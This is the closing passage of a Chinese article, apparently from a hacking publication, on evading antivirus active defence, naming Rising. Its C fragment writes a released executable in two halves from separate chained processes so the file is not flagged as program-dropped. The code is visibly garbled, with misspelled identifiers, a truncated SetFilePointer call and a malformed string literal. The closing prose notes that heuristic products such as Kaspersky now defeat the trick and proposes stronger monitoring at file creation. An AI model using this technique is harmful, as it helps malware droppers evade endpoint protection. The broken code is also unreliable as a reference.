{ //第二步(2)释放文件后半部分 DWORD pos = wirtesize; wirtesize = dwHeader[0] - wirtesize; hFile = ContinueffriteToFile(filepath); if (hFile != INVALID_HANDLE_VALUE) //移动文件指针 ::SetFilePointer(hFile, pos, NULL, ::WriteFile(hFile, uncompressdata + pos, &dwWrite, NULL); CloseHandle(hFile); lstrcat(path, L〃 -2"); } else { //第一步(1)释放文件前半部分 // (无命令行选项) hFile = StartWriteToFile(filepath); if (hFile != INVALID_HANDLE_VALUE) { ::WriteFile(hFile, uncompressdata, wirtesize, &dwWrite, NULL); CloseHandle(hFile); } lstrcat(path, L" -1"); } //创建执行下一步操作进程 CreateNextProcess(path); } free(uncompressdata); return 0; 4) 其他部分的代码在附件中给出。 想必看到此处读者们都已经明白具体的原理了吧,这种方法只适用于部分的杀毒软件主 动防御的突破,像瑞星等。其实我认为杀毒软件使用这种判断的方式来进行应用程序文件操 作还不够完善,不能仅仅因为文件是程序释放出来的而加大监控力度,我们需要在文件创建 的时候就要给予足够的监控力度,这样才能给予计算机系统以更好的保护。 现在有一些杀毒软件用这个方法已经无法过文件主动防御了,一些触发式的主动防御和 启发式的文件扫描拥有更高精准度和实时的监控能力,如卡巴斯基。但是希望谨以此文能给读者带来一些灵感吧。 |